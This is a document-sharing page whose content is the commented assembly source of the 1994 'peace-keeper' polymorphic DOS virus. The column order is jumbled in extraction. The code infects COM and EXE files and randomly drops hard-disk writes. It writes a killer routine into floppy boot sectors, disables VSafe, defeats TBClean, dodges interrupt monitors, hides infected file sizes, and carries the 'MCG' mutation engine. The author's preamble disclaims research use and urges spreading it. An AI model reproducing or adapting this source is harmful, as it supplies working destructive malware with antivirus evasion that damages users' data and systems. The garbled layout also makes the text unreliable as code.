Peace

  • November 2019
  • PDF

This document was uploaded by user and they confirmed that they have the permission to share it. If you are author or own the copyright of this book, please report to us by using this DMCA report form. Report DMCA


Overview

Download & View Peace as PDF for free.

More details

  • Words: 7,356
  • Pages: 34
;============================================================================; ;peace-keeper virus version 2.10d - by doctor revenge ,18-may-1994 italy . ; ; ; ;disclaimer: ; ;this code wasn't written for research purpose only;any damage,direct or ; ;implied,caused by this source code ,or the resulting compiled file , is ; ;an immense pleasure for the author . modifing this code is strictly ; ;proibithed and will be punished;instead , you can look at this code to ; ;improve your knowledge and to write some good italian virus . ; ; ; ;compiling: ; ;if you want to spread this program directly from the source code , you ; ;have to use the great macroassembler and linker ,version 6 or up . ; ;tasm is not supported and ,any other assembler will probably produce ; ;different op-codes.test it carefully! ; ; ; ;description: ; ;you are editing the best polymorphic italian virus.it's about 4k , and ; ;is capable to infect exe file as well as com files.the infection for exe ; ;file is in the standard way,but ,for infecting com files,this program ; ;can create a lot of indirect jump , placed everywhere in the file,in ; ;order to fool many euristic engines.it avoids *all* interrupt 21's ; ;monitors , using a token scan into dos's segment , grabbing the total ; ;control of the victim system.finally,it is very polymorphic , capable ; ;to generate billions of different looking copies of itself ,using a ; ;simple , but very useful, 'slow polymorphic' method . ; ;no other italian virus can do the same! ; ; ; ;greetings: ; ;first of all,i want to make some good greetings to the trident group , ; ;(in the person of omega),that helped me very much in writing and spreading ; ;this code . at the same time i want to build some nasty things against ; ;[nuke]: never in this lame team! ; ; ; ;cooming soon: ; ;the euristic engines is really a nasty problem . so , i decided to write ; ;a polymorphic engine capable to avoid scannig as well as euristic alerts. ; ;keep on line to grab my next creation. ; ; ; ;greetings to all virus writers...!! ; ;============================================================================; _code start:

segment word public 'code' assume cs:_code,ds:_code org 100h call pop sub jmp nop

$+3 si si,03 fuck_tbx

; calculating delta offset ; get from stack the entry_point ; make a joke against tbclean

; interrupt 13 handler. on a random bases it swaps the write call ; destroying random portion of the hard disk . int13: cmp

cs:gate,close

; check if the virus is infecting

je cmp je jmp13:

jmp iret roulette: push push call and and cmp jmp cmp jne prize: pop pop clc iret no_prize: pop pop jmp

jmp13 ah,03 roulette

; a victim file ; check if a write call is present ; if yes, make a joke .

dword ptr cs:old13

; jmps to next int13 filter

ax bx rnd_get ah,00000111b al,00000111b ah,07 no_prize al,06 no_prize bx ax

bx ax jmp13

; get a random number ; setting the numbers for the play ; check if it is time to die

; ahahaha (nasty!),no write performed ; popping registers and simulate ; a perfect int 13h operation ; perform the normal int13h call .

; with this int 1 handler , the virus can stop the naughty ; action of a nasty program called tbclean . this handler passes ; control to an hidden entry point , fucking the euristic engine . int1:

no_jmp:

cmp jne mov pushf pop and push popf jmp

cs:[gone+si-100h],stop no_jmp cs:[gone+si-100h],now ax ax,0feffh ax brkdone

iret

; is time to jump ? ; set off trap flag

; storing new flags ; jmp to hidden entry point ; return to the calling process

; hooking int 1 (single step) to avoid euristic cleaning . fuck_tbx: sub mov cli mov mov sti lea mov mov mov pushf pop

ax,ax es,ax dx,word ptr es:[1*4] cx,word ptr es:[1*4+2]

; hooking directly via ivt the ; single step tracer . ; saving old address

ax,word ptr [int1+si-100h] cs:[gone+si-100h],stop ; patching with our handler word ptr es:[1*4],ax word ptr es:[1*4+2],cs ax

or push popf nop u_r_so_stupid: int brkdone: cli mov mov sti jmp

ax,0100h ax

20h

; set trap flag on . ; ; ; ;

after this instruction , the control passes to the virus if tbclean is off... ... if it is on, this is the end.

word ptr es:[1*4],dx word ptr es:[1*4+2],cx

; restoring old int1 address .

begin

; jmp to the virus entry point

; random number generator stolen from the girafe virus rnd_init: push call and inc xchg random_lup: call loop pop ret rnd_init0: push push mov int in mov in xor xor jmp rnd_get: push push push mov mov mov rnd_lup: shl rcl mov xor jns inc rnd_l2: loop pop move_rnd: mov mov mov

cx rnd_init0 ax,000fh ax ax,cx rnd_get random_lup cx

; call a few times the random ; engine ...

; warm-up the engine ; random init done .

dx cx ah,02ch 21h al,040h ah,al al,040h ax,cx dx,ax move_rnd dx cx bx ax,0deadh dx,0deadh cx,7 ax,1 dx,1 bl,al bl,dh rnd_l2 al rnd_lup bx

; init the random generator with ; current data ; get some garbage from port 040h ; preparing random seeds ; patching random generator code .

; these locations will be modified ; by the random init

; this is the main loop to ; calculate random numbers

; modify instructions word ptr cs:[rnd_get+4],ax word ptr cs:[rnd_get+7],dx al,dl

pop pop ret ; ; ; ;

cx dx

jumping to old infected file entry-point.for exe files , this code restores the es=psp and jumps to the old entry address. for com files , it restores the modifies code into the program and jump to the file's beginning.

restore:

jmpexe:

jmpcom:

cmp je cmp je jmp

byte ptr [ftype+si-100h],com ; checking the file type jmpcom byte ptr [ftype+si-100h],exe jmpexe $

mov mov mov mov add mov add cli mov mov sti add push push retf

ax,[startds+si-100h] ds,ax es,ax dx,ds dx,010h cx,dx dx,word ptr cs:[progss+si-100h]

mov lea push pop cld patchcom: push lodsw mov lodsw mov add rep pop loop push mov push retf error: stc ret noerror: clc ret

ss,dx sp,word ptr cs:[progsp+si-100h] cx,word ptr cs:[progcs+si-100h] cx word ptr cs:[progip+si-100h] cx,[chainum+si-100h] ; load the numbers of the chain si,word ptr [over+si-100h] cs es cx cx,ax di,ax di,0100h movsb cx patchcom cs ax,100h ax

; load chain length ; load chain offset ; replacing chain code with ; the original code stored ; at the end of the infected file

; set cf and return ; clear cf and return

; token tunnelling routine . searchs the dos's segment to find ; original interrupt 21h's address . token:

lookver:

mov int push mov sub sub mov mov

cmp jz inc inc loop jmp setstring: sub xchg mov mul lea add pop call

ah,034h 21h es ax,[dosver+si-100h] ah,ah bx,bx bx,03 cx,4 al,bl setstring bl ah lookver error al,al al,ah bx,4 bx bx,[dos3+si-100h] bx,ax ax scandos

; get indos flag segment to locate ; dos's code location ; checking dos's version to ; scan the right string

; scanning current dos's version .

; dos version unknown ; setting dos's code parameters ; calculating appropriate scan string

; call the tokentunnelling engine

; checking if the stolen scan string is the same of the ; dos code entry point string . compare:

notdos: scandos:

search:

cont1:

founded:

cmp jne mov cmp jne jmp

dx,word ptr [bx] notdos dx,word ptr es:[si+2] dx,word ptr [bx+2] notdos error

jmp

noerror

mov mov mov mov

di,si es,ax si,0100h cx,5000

mov cmp jne call jc

dx,word ptr es:[si] dh,byte ptr [bx] cont1 compare founded

inc loop jmp

si search error

mov

; check memory and dx register

; ; ; ; ; ; ; ;

set input register set input segment (dos's code seg ) begin scan from 0100h offset scan about 5k of codes get two bytes from dos , check if the first byte is the same in the scan string . if yes , check other tree bytes .

; looking for ...

; storing original int21 address word ptr [odos21+di-100h],si

mov mov jmp nop

word ptr [odos21+di-100h+2],es si,di ; restoring old si value noerror ; all done.no error (eureka!)

; real start of the virus . begin:

mov int mov mov push pop mov mov int cmp jz mov cmp jl chk_vsafe: mov mov int cmp jne mov mov int getadrs: mov int mov mov mov int mov mov mov mov call

ah,030h 21h cs:[dosver+si-100h],ax cs:[startds+si-100h],ds cs ds bp,si ax,0deadh 21h bx,ax restore ax,[dosver+si-100h] al,03 restore ax,0fa00h dx,5945h 16h di,4559h getadrs ax,0fa01h dx,5945h 16h ax,3513h 21h word ptr word ptr ax,3521h 21h word ptr word ptr word ptr word ptr token

; get dos's version ; store it into buffer ; store,also, the start-up ds value ; call the ru-there service ,if present ; ax:=0deadh --> bx:=0deadh ; if already present,restore old prog ; check the dos's version ; i need dosv3 or up ; check the presence of the ; cp's vsafe monitor ; call keyboard interrupt handler ; to deactivate this nasty and ; sloppily written tsr monitor .

; call dos to obtain int13 address [old13+si-100h],bx ; store them [old13+si-100h+2],es ; do the same thing with interrupt 21h [dos21+si-100h],bx [odos21+si-100h],bx ; store them into buffers [dos21+si-100h+2],es [odos21+si-100h+2],es

; the mcg module needs a particualr setting to work properly . this setting ; is obtained from the harddisk's serial number for dos4+ or from the ; current date for dos3. initmut: mov cmp jl

ax,[dosver+si-100h] al,04 init3

; check dos's version for proper ; polymorphic engine setting .

; for dos4+ , the virus call dos to obtain first harddisk serial number ; calculated at every format service . init4: mov

ax,06900h

; get serial number of the

mov lea int mov mov jmp

bl,03 ; first harddisk dx,[buf+si-100h] 21h ah,byte ptr [buf+si-100h+2] ; store datas into mcg's setting byte ptr [flag+si-100h],ah move_ontop

; for dos3 , the virus ,simply, get the current system's date . init3:

mov int mov

ah,02ah ; call dos's date/time service . 21h byte ptr [flag+si-100h],dh

; moving virus on the top of the system ram. move_ontop: mov dec mov sub cmp jne mov sub sub mov push sub sub or or rep pop hookdos: mov push push pop lea int mov lea int pop mov int jmp

bx,[startds+si-100h] bx es,bx bx,bx byte ptr es:[bx],'z' restore ax,(6200/16) word ptr es:[bx+3],ax word ptr es:[bx+12h],ax es,word ptr es:[bx+12h] si cx,cx di,di di,0100h cx,virlen movsb si ax,2521h ds es ds dx,int21 21h ax,2513h dx,int13 21h ds ax,0deaeh 21h restore

; get the start-up data segment ; get the segment of the current mcb ; ; ; ; ; ;

check if it is the last block active in central memory . preserving about 6k of memory space. substracting this memory amount from dos's mcb data . get viral segment address

; move virus on the top ; of the system memory . ; move it!

; hooking the dos's interrupt 21h ; with our handler . ; do the same thing with int 13h

; now,it's time to init the random ; number generator with an int21 call.

; this procedure is the crazy payload of the virus . it is called ; every 16 infections, and it overwrites the boot-sector of the disk into ; drive a: , with a killer-trojan. myboot:

nop call and and

rnd_get ah,00000111b al,00000011b

; get a random number . the infection ; of the boot-sector of the disk a:

get_ofs:

cmp jne cmp jne cld lea mov mov sub int popf jc

mov cmp jne push pop lodsb lodsb sub add mov lea mov rep write_bsr: sub mov xor lea int popf jc jmp

ah,7 noerror al,4 noerror bx,over al,0 cx,1 dx,dx 25h

; is performed about 1 on 16 times

; set direction flag . ; set output buffer for boot-sector ; read the boot-sector into the buffer ; call dos's disk read service .

error

; if error , skip infection

si,bx byte ptr [si],0ebh error cs es

; find the boot-sector's code ; entry point , in order to not ; overwrite important dpb data

; get offset of the bsr-code entry ah,ah si,ax di,si si,killer ; set starting address of the routine cx,(offset here - offset killer) movsb ; moving killer routine into boot code dx,dx cx,1 al,al bx,over 26h

; write the new boot-sector on the ; diskette , using dos's write service. ; updating boot-sector .

error noerror

; this is the boot-killer trojan , written into the boot-sector . killer:

put_msg:

call pop sub cli cld xor mov mov mov sti

$+3 bx bx,3

mov mov sub mov mov stosw loop sub

ax,0b800h es,ax di,di ax,1f20h cx,(80*25)

ax,ax ss,ax ds,ax sp,07c00h

$-1 di,di

; get delta offset . ; clear interrupts and set ; direction falg . ; set stack (absolutely unnecessary!) ; set new stack pointer . ; put the message into video memory ; clear the screen .

; put the first string into video buf

mov add mov putfirm1: lodsb stosb inc loop mov mov putfirm2: lodsb stosb inc loop jmp

si,bx si,(offset firm1 - offset killer) cx,lengthof firm1

firm1 firm2 here:

'peace-keeper virus v2.10 ' 'written by doctor revenge 18-may-1994 , italy'

byte byte

di putfirm1 cx,lengthof firm2 di,(80*2)

di putfirm2 $

; checking the file for name . this procedure determines the file type ; and provide to skip unwanted infections of some popular av programs. checkfile: mov push pop push pop mov mov namemove: lodsb cmp je cmp jb cmp ja xor charok: stosb loop moved: stosb mov dec std push push pop pop scan2: lodsb cmp jne cld inc

si,fofs fseg ds cs es di,virlen+100h cx,0080h

; get into si the file pointer ; store into ds the file segment

al,0 moved al,'a' charok al,'z' charok al,20h

; converts to uppercase ; and moves the filename into ; internal buffer

; set output pointer ; load 80 bytes from filename.

namemove ; make the asciiz termination . si,di si cs cs es ds al,'.' scan2 si

; set reverse direction and scan ; for the file's extension . ; ; adjusting segment registers. ; scans for the extension begin ; set directin flag . ; checks the extension

scan3:

scan4: findbeg:

checkav:

inc mov lea mov repe jnz mov jmp

si ax,si di,ext cx,03 cmpsb scan3 ftype,exe scan4

lea mov mov repe jnz mov

di,ext+3 si,ax cx,03 cmpsb error ftype,com

std mov

cx,15

lodsb cmp je cmp je loop jmp

al,':' checkav al,'\' checkav findbeg error

inc inc cld lodsw lea mov repne jz jmp

si si

; of the victim file ; ; load extension settings ; comapare these extensions ; ; if it is 'exe' we have an exe file

; scans for 'exe' or 'com' ; files

; scans to find the begin ; of the filename

; checks first two bytes of ; the file name , to avoid ; infection of some av progs

di,skip cx,10 scasw error noerror

; procedures commonly used to infect the victim file . openfile: push mov mov mov call pop jc mov jmp closefile: mov mov call jmp setattrib: push mov mov

ds dx,fofs ds,fseg ax,3d02h dos ds error handle,ax noerror ah,03eh bx,handle dos noerror ds dx,fofs ds,fseg

; open the victim file using ; the original dos's interrupt 21h

; ; ; ;

do you need any comments here? if yes, fill it ! i won't spend time to add comments to these virus-standard routines .

; load the file's attributes and stores ; them into internal buffers.

mov call mov xor mov call pop jc jmp storedate: mov mov call mov mov jmp loaddate: mov mov mov mov cmp jnz or and no_tag: call jmp

ax,4300h dos cs:fattrb,cx cx,cx ax,4301h dos ds error noerror ax,5700h bx,handle dos fdate,dx ftime,cx noerror ax,5701h bx,handle cx,ftime dx,fdate fucked,yes no_tag cl,01fh cl,0feh dos noerror

; this is the handler of the viral interrupt 24h (critical error section ). ; during infection it is hooked to avoid 'abort,retry,fail...' on a ; write-protected disk. setint24: push sub mov mov mov mov mov mov mov pop jmp loadint24: push sub push pop mov mov mov mov pop jmp

es ax,ax es,ax ax,word ptr es:[24h*4] word ptr es:[24h*4],offset fake24 word ptr old24[00],ax ax,word ptr es:[24h*4+2] word ptr es:[24h*4+2],cs word ptr old24[02],ax es noerror es bx,bx bx es ax,word ptr old24[00] word ptr es:[24h*4],ax ax,word ptr old24[02] word ptr es:[24h*4+2],ax es noerror

; moving anywhere the file's pointer .

movefp:

push push mov sub mov mov call pop pop jmp

cx bx ah,042h cx,cx dx,cx bx,handle dos bx cx noerror

; loading and adjusting the exe header , in order to run the virus first. calclen:

nocor: getlen:

mov div or jz inc ret

mov mov ret entryexe: mov mov call mov mov mov lea call lea cmp jne cmp jz cmp jb chk4win: sub mov mov mov call jc mov mov lea call jc mov mov mov mov

cx,200h cx dx,dx nocor ax

; calculate file page length

; no correction needed. ax,size1 dx,size2

; put into ax:dx pair the file size

fucked,nope al,00 ; movefp ; ah,03fh ; bx,handle cx,01ch dx,buf ; dos si,buf word ptr [si],'zm' ; error word ptr [si+12h],0deadh; error word ptr [si+18h],040h ; not_win

set file's pointer to the begin read about 1ch bytes from the file set working buffer check if it is an exe file is it already infected? check if it is a windows/os2 file

cx,cx dx,003ch ; set new file's pointer position ax,4200h bx,handle dos error ah,03fh ; read 4 bytes from the new position cx,04 ; and store them into the microbuffer dx,minibuf dos error ; if we are in presence of a new-exe dx,word ptr minibuf[00] ; haeder , we are storing the offset cx,word ptr minibuf[02] ; of it into a buffer . ax,4200h ; bx,handle ; moving file pointer to this new

call jc mov mov lea call jc cmp jz not_win:

call call cmp jnz cmp jnz cmp jz cmp jnz calcentry: call mov div mov sub push pop mov push pop mov push pop mov push pop mov

dos ; error ah,03fh cx,4 ; dx,minibuf ; dos ; error ; byte ptr minibuf[01],'e' error ; getlen calclen word ptr error word ptr error word ptr error word ptr error

[si+4],ax [si+2],dx

position in the exe file . read the first 4-bytes checking if the target file is windows/os-2 file . if windows/os2 file, skip infection

; performing a simple check on the ; file's header information . ; ; check for the correct file length

[si+0ch],0 [si+1ah],0

getlen bx,0010h bx trashb,dx ax,word ptr [si+8] word ptr [si+16h] progcs word ptr [si+16h],ax word ptr [si+0eh] progss word ptr [si+0eh],ax word ptr [si+14h] progip word ptr [si+14h],dx word ptr [si+10h] progsp word ptr [si+10h],2000h

; internal overlays not zero ...

; ; ; ; ;

calculating new cs:ip pair remainder is the virus entry point storing old values and patching exe header with viral entry-point .

; set new stack

; creating exe decryption routine , calling the mcg engine . create_entry: call mov mov mov push call pop patch_length: call add adc add adc call mov mov

rnd_get bl,flag di,virlen+100h bp,trashb si crypt si

; ; ; ;

get a random number set decryption algorithm set decryption output offset store entry-point .

getlen ax,virlen dx,0 ax,declen dx,0 calclen word ptr [si+4],ax word ptr [si+2],dx

; calculating new file's size

; call the engine .

; new size in 512bytes page format . ; update file length information

memalloc: cmp jne mov nothigh: mov patchentry: mov call mov mov mov lea call mov jmp

word ptr [si+0ch],0ffffh ; extremely dangerous code ! nothigh ; it don't work with negative word ptr [si+0ch],0ffffh ; entry point . word ptr [si+12h],0deadh ; put 'already infected' flag . al,00 movefp ah,040h bx,handle cx,01ch dx,buf dos fucked,yes noerror

; updating exe 's header

; set infected flag .

; this procedure creates the polymorphic chains for the com files . ; actually , it is full of bugs ,but works well! (murphy rules...) entrycom: mov mov cmp jnb mov call sub mov mov mov mov call sub and inc inc mov mov chain1: push call sub and inc mov mov chain2: call dec jnz mov stosb calcnxt: push mov sub inc

gflag,yes ax,3000 ax,size1 error al,00 movefp ax,ax lstofs,ax buflen,ax curofs,ax bufofs,virlen+200h rnd_get ah,ah al,00000011b al al chainum,ax cx,ax cx rnd_get ah,ah al,00000111b al cx,ax di,virlen+100h rnd_chain cx chain2 al,0e9h di bx,virlen+100h di,bx di

; check the file's size

; resetting work values

; how many elements in the chain ?

; filling the element with a lot ; of non-sense instructions .

; call the mcg engine ; put the jump's opcode ; ; ; now, it's time to get the ; element length . ;

inc add mov pop pop cmp push jz

di curofs,di elen,di di cx cx,01 cx lastjmp

; ; updating current offset with it ; storing element length

call xor and mov mul mov add cmp ja stosw add jmp

rnd_get ah,ah al,00111111b bx,20h ax dx,curofs dx,ax dx,size1 calcofs

; ; ; ; ; ;

curofs,ax putjmp

; is the new offset too big ? ; if yes,repeat calculation ... ; ; up-dating current offset

mov sub stosw

ax,size1 ax,curofs

; setting jump for the virus

call pop loop make_decrypt: call mov mov mov add push call pop jmp put_chain: mov mov mov push pop push pop mov add mov call add add add add mov sub mov

put_chain cx chain1

; write the element on the file ; performing the loop ....

calcofs:

lastjmp:

putjmp:

; is it the last element of the chain?

set the new offset for the next chain's element . i will change this part , with a more sophisticated calculation , based on the file length .

rnd_get bl,flag di,virlen+100h bp,size1 bp,0100h si crypt si noerror

; get a random number ; set decrypotion algo

ah,03fh cx,elen si,bufofs elen word ptr [si] lstofs word ptr [si+2] dx,bufofs dx,4 bx,handle dos bufofs,ax bufofs,4 buflen,ax buflen,4 ax,4200h cx,cx dx,lstofs

; read old victim's file bytes

; call the polymorphic engine .

; prepare buffer for saving them ; buf: ; length,offset,..bytes.... ; ^----^ ^----^ ; word word

; moving file pointer to old location

call mov mov mov mov call mov xor mov mov call mov jmp writebuf: mov mov mov add mov add mov mov call jmp checktag: mov sub mov sub mov call mov mov lea call cmp jne jmp ; ; ; ; ;

dos ah,040h cx,elen dx,virlen+100h bx,handle dos ax,4200h cx,cx dx,curofs bx,handle dos lstofs,ax noerror ah,040h bx,handle cx,buflen cx,2 si,virlen+200h si,buflen word ptr [si],0deadh dx,virlen+200h dos noerror ax,4200h cx,cx dx,size1 dx,2 bx,handle dos ah,3fh cx,2 dx,buf dos word ptr buf[00],0deadh noerror error

; writing element into the file .

; moving file's pointer to the ; the next offset to process

; saving last offset

; writing old bytes buffer at the ; end of the infected files .

; setting the already infected flag

; loading the last two bytes of the ; files to check the flag ...

; is it already infected ?

this procedure is called at every infection to create the polymorphic version of the virus and to write this code at the end of the victim . with the paged writing of the virus into the victim file , this virus can preserve a large amount of memory,keeping only 6k of central memory . look at other , memory pig , polymorphic viruses !

writevirus: mov call mov mov mov mov call set_encr: cmp jz cmp jz

al,02 movefp dx,virlen+100h cx,declen ah,040h bx,handle dos ftype,exe write_exe ftype,com write_com

; move file pointer to the end . ; ; first of all,we have to write ; the polymorphic decryption routine . ; write it into file . ; check the file type

jmp write_exe: call push mov mov exe_encr_lup: push mov mov mov call mov mov call pop loop pop mov mov call mov mov call jmp write_com: call push mov mov com_encr_lup: push mov mov mov add call mov mov call pop loop pop mov add mov call mov mov call jmp calc_page: sub mov mov div ret

$

; absolutely stupid!

calc_page dx cx,ax si,0100h

; calculating the paged length ; of the file .

cx dx,key cx,200h di,virlen+100h crypt_code ah,040h bx,handle dos cx exe_encr_lup cx di,virlen+100h dx,key crypt_code ah,040h bx,handle dos noerror calc_page dx cx,ax si,0100h cx dx,key cx,200h di,virlen+200h di,buflen crypt_code ah,040h bx,handle dos cx com_encr_lup cx di,virlen+200h di,buflen dx,key crypt_code ah,040h bx,handle dos noerror dx,dx bx,200h ax,virlen bx

; set input offset ; ; ; ; ; ;

get encryption key crypt exactly 512 bytes of code address of the output buffer crypt the code ... ... and write it into the file .

; crypt all the virus body . ; encrypts the remainder virus code ; write it at the end of the file .

; same as above...!

; simulating a complete push of the process registers pushall: mov mov mov mov mov mov mov mov mov nop ret

cs:procax,ax cs:procbx,bx cs:proccx,cx cs:procdx,dx cs:procsi,si cs:procdi,di cs:procbp,bp cs:procds,ds cs:proces,es

; saving all registers into ; internal buffers .

; re-popping the process registers popall:

mov mov mov mov mov mov mov mov mov nop ret

ax,cs:procax bx,cs:procbx cx,cs:proccx dx,cs:procdx si,cs:procsi di,cs:procdi bp,cs:procbp ds,cs:procds es,cs:proces

; re-popping the registers from ; the buffer .

; fake int 24 handler . fake24: mov iret

al,03

; handler for the int21 . int21: cmp jne mov iret chkfunction: cmp je cmp je cmp je cmp je

ax,0deadh chkfunction bx,ax ax,0deaeh rnd_call ax,4b00h exec ah,011h hide_dir ah,012h hide_dir

; execution ? ; dir command ?

; passing control to the next int21 hooker . jmpdos:

jmp iret

dword ptr cs:dos21

; call directly the int21 ,using original address . dos:

pushf call ret

rnd_call: call call call exec: call mov mov push pop call

; ; ; ;

dword ptr cs:odos21

pushall rnd_init popall pushall cs:fofs,dx cs:fseg,ds cs ds setint24

; saving registers

call

infect

; call infect procedure .

call call jmp

loadint24 popall jmpdos

; work is done .

; saving filename's pointer

stealth on the file's length . at every dir command issued by the command interpreter , it checks for the infected flag on the seconf field . if it is infected , this code substracts the virus length from the file length .

hide_dir: pushf call popf test jnz push push push push push push mov call mov cmp jnz mov mov call lodsb sub inc jnz add hide_fcb: mov

dos al,al hide_error ax bx dx si es ds ah,051h dos es,bx bx,word ptr es:[0016h] hide_error2 si,dx ah,02fh dos si,si al hide_fcb bx,07 ax,word ptr es:[bx+17h]

; perform original task to get ; an opened fcb for stealth

; check if it is the command.com

; if it is an extended fcb , we ; must add the delta offset

and cmp jne mov mov sub sbb jb mov mov hide_error2: pop pop pop pop pop pop hide_error: iret

ax,01fh ax,01eh hide_error2 ax,word ptr es:[bx+1dh] dx,word ptr es:[bx+1fh] ax,virlen dx,00 hide_error2 word ptr es:[bx+1dh],ax word ptr es:[bx+1fh],dx

; unmasking date ; check if it is already infected ; if not , substract the virus ; length from the file length

ds es si dx bx ax

; this procedure is the working horse of this virus . it is called ; by the interrupt 21h handler in order to infect the ; victim file . infect: cli mov mov push pop mov sti mov

procss,ss procsp,sp cs ss sp,0100h-1

; set own stack in order to not ; blow up the dos' stack --> (crash!)

cs:gate,close

call jc

checkfile notinfect

; check for a good victim file

call

myboot

; overwrite the bootsector into a:

mov cmp je cmp je jmp fuck_exe: call jc call jc call mov call mov mov call jc mov

fucked,nope ftype,com fuck_com ftype,exe fuck_exe error setattrib notinfect openfile notinfect storedate al,02h movefp size1,ax size2,dx entryexe notinfect2 fucked,yes

; infecting exe file using standard ; patching

call jmp fuck_com: call jc call jc call mov call mov mov call jc call jc call call mov notinfect2: call call notinfect: mov cli push pop mov sti jmp

writevirus notinfect2 setattrib notinfect openfile notinfect storedate al,02h movefp size1,ax size2,dx checktag notinfect2 entrycom notinfect2 writevirus writebuf fucked,yes

; infecting com file using the same ; method of the commander bomber

loaddate closefile cs:gate,open procss ss sp,procsp

; reloading old dos's stack

noerror

; data ; scan string for token routine dos3 dos4 dos5 dos6

byte byte byte byte

90h,90h,0e8h,0cch 90h,90h,0e8h,0cch 90h,90h,0e8h,0cch 90h,90h,0e8h,0cch

; this is the dos entry point code: ; nop ; nop ; call somewhere ...

; infected file data : ftype fofs fseg fattrb fdate ftime size1 size2 handle progss progsp progcs progip k1 k2 seed

byte word word word word word word word word word word word word word word word

com ? ? ? ? ? ? ? ? ? ? ? ? 9821h 0001 0deadh

; ; ; ; ; ; ; ; ; ; ; ; ;

victim file type (com or exe) address on the asciiz string of the filename buffer . file attribute stored by the virus file data to hide file opening ,change and writing size of infected file down... ... and up. file handle for dos service \ \old victim file entry point . /stored at infection time /

ext skip lstfofs curofs buflen bufofs lstofs chainum elen trashb fucked infdone gate gone

byte byte word word word word word word word word byte byte byte byte

'execom' 'scclvivsmscpf-imvhtb' ? ? 6 ? ? 1 ? ? nope nope open 0ffh

; allowed file's extension . ; a lot of filenames to skip (like avs) ; length of stored bytes on com files ; address of the stored bytes for com ; number of polymorphic chains ; length of the polymorphic header ; used to store exe entry-point ; gate on fake interrupt 13h ; used by the int 1 trap

; system status and interrupts address : adrs dos_seg oldss oldsp dosver startds odos21 dos21 old24 old3 old1 old13 procss procsp procax procbx proccx procdx procds proces procsi procdi procbp buf minibuf

word word word word word word dword dword dword dword dword dword word word word word word word word word word word word byte byte

? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? 1ch dup (0) 4 dup (0)

; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;

i don't remember well (??) dos's code segment to scan

; ; ; ;

setting for the engine used by the put_into procedure target regsiter for put_into de/encryption key

previous stack pointer system dos's version starting data segment value original dos's 21 interrups address next int21 hooker in the chain address of the int24 hooker not used (?) used to store int1 into startup trap address of the next int13h filter \ \ \ \ at every infection,the process's registers are stored here / / / / working buffer to infect exe files only a micro-buffer to check 4 win

; mcg data area : flag byte value word target byte key word entry word set byte lupadrs word deltaofs word decloc word declen word gflag byte zerof byte

? ? ? ? ? ? ? ? ? ? ? ?

; value of the current delta-offset ; decryption location ; decryption length ; this flag is used to check for some ; nasty problems with the zero flag

; various equ ... com exe yes nope stop now close open

equ equ equ equ equ equ equ equ

0 1 0 1 0 1 0 1

; constants used at run-time

;============================================================================; ; m u t a t i o n e n g i n e ; ; mcg "mutant code generator" , version 0.31beta ; ; written by doctor revenge , all rights reserved . ; ; ; ; usage: ; ; ; ; to work with this engine , you must provide the settings into the ; ; bl register . this is the description of this settings : ; ; ; ; bl register ; ; bit # - description ; ; ; ; 0 ------> reserved . ; ; 1 ------> put random instructions into decryptor ; ; 2\ ; ; ------> encryption/decryption method ( add / sub / xor ) ; ; 3/ ; ; 4 ------> loop instructions ( loop / jnz,jg ) ; ; 5 ------> si or di ? ( 0 = si , 1 = di ) ; ; 6 ------> delta offset in decryption loop ; ; 7 ------> use byte or word for de/encryption ; ; ; ; di ------> offset where the mcg will put the decryption routine ; ; ax/ah ------> en/decryption key ; ; bp ------> entry point where the decryptor gets control ; ; ; ; output : ; ; ; ; cx ------> length of decryptor ; ; dx ------> start offset of the decryptor ; ; ; ; ; ; all other registers will be trashed ! ; ; ; ; note : ; ; this program was expressely written for the peace-keeper virus . ; ; if you want to use , this engine , you *must* wait for the official ; ; release of it , the mcg , that is more,more,more polymorphic . ; ;============================================================================; db

'[mcg v0.31?]'

vipregs byte

000b,001b,011b,100b

mul_set: nop nop mov mul mov ret rndget:

rndgarb:

push mov call loop pop ret

test jnz rnd_chain: push call and sub mov mov inc call loop pop no_garb: ret chk_reg: push push push lea mov mov repne pop pop pop jne mov reg_ok: ret

bx,02 bx si,ax

; multiply by 16

cx cx,30 rnd_get $-3 cx

; shaking rnd engine ...

set,01000000b no_garb cx rnd_get al,00000111b ah,ah ch,ah cl,al cx garb $-3 cx

; insert a lot of random instrs ; before loop routine

ax cx di di,vipregs cx,4 al,ah scasb di cx ax reg_ok ah,010b

; ; ; ;

this procedure , tests the used register . if it is a register like sp , it patch the value .

; this procedure assembles a lot of non-sense instructions in order ; to make confusion when a scanner tries to detect this virus . tableg

word word word word word word word word

offset offset offset offset offset offset offset offset

g1 g2 g5 g4 g7 g3 g7 g6

;1 ;2 ;5 ;4 ;8 ;6 ;7 ;3

nop8 nop16 clear

byte byte byte

090h,0f8h,0f9h,0f5h,0fah,090h,0fch,0f5h 08h,020h,08h,088h 02bh,031h

pushf push push push push call and call call jmp

ax bx cx dx rndget ax,00000111b mul_set rndget word ptr cs:[si+tableg]

garb:

garbend:

g1:

g2:

g3:

g4:

pop pop pop pop popf ret

dx cx bx ax

and lea xlat stosb jmp

al,00000111b bx,nop8

cmp jne and lea push pop xlat mov push call and or and mov mov shr or or stosw pop jmp

gflag,yes garbend al,00000011b bx,nop16 cs es

and or or stosw stosw jmp

al,00000001b al,10000110b ah,11000000b

; nop , cli , std ...

garbend

; and,or , (8/16) ; es: ; and si,si

bl,al cx rnd_get al,00000001b al,bl ah,00111000b bh,ah cl,03 ah,cl ah,bh ah,11000000b cx garbend

garbend

; xchg , ; es: ; xchg ax,sp ; xchg sp,ax

g5:

g6:

g6b: g7:

g8:

; ; ; ; ;

and or sub stosw jmp

al,00001111b al,01110000b ah,ah

cmp jnz and or or stosw call test jz jmp

gflag,yes garbend al,00000001b al,00111010b ah,11000000b

cmp jnz and or stosb test pushf call popf jnz stosb jmp

gflag,yes garbend al,00000001b al,00111100b

stosw jmp

garbend ; cmp , ; (jx next )

rnd_get ah,00000010b g4 garbend ; cmp ax,[mem offset]

al,00000001b rnd_get g6b g4 $-3

cmp jnz and or or stosw jmp

gflag,yes garbend al,00000001b al,10000100b ah,11000000b

and lea xlat stosb mov stosw jmp

al,00000111b bx,nop8

; test ,value

g4

ax,0fde2h garbend

this procedure puts into a register , a numeric value . used to set-up decryption routine . dh = target register ax = numeric value

(opcode format)

vip_reg byte

000b,001b,100b,011b

tablep

offset p1

word

